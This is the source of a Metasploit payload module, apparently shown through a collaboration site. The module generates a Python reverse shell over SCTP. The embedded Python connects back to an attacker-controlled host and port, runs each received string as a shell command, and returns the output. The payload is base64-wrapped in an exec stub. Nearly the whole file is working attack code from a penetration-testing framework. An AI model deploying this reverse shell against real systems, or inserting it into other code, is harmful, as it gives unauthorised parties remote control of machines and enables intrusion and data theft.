Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = :dynamic
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Python
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Command Shell, Reverse SCTP (via python)',
18
        'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',
19
        'Author' => 'RageLtMan <rageltman[at]sempervictus>',
20
        'License' => MSF_LICENSE,
21
        'Platform' => 'python',
22
        'Arch' => ARCH_PYTHON,
23
        'Handler' => Msf::Handler::ReverseSctp,
24
        'Session' => Msf::Sessions::CommandShell,
25
        'PayloadType' => 'python',
26
        'Payload' => {
27
          'Offsets' => {},
28
          'Payload' => ''
29
        }
30
      )
31
    )
32
  end
33

34
  #
35
  # Constructs the payload
36
  #
37
  def generate(_opts = {})
38
    super + command_string
39
  end
40

41
  #
42
  # Returns the command string to use for execution
43
  #
44
  def command_string
45
    cmd = <<~PYTHON
46
      import socket as s
47
      import subprocess as r
48
      so=s.socket(s.AF_INET,s.SOCK_STREAM,132)
49
      so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
50
      while True:
51
        d=so.recv(1024)
52
        if len(d)==0:
53
          break
54
        p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
55
        o=p.stdout.read()+p.stderr.read()
56
        try:
57
          so.send(o)
58
        except OSError as e:
59
          if e.errno != 22:
60
            raise
61
    PYTHON
62

63
    py_create_exec_stub(cmd)
64
  end
65
end
66

67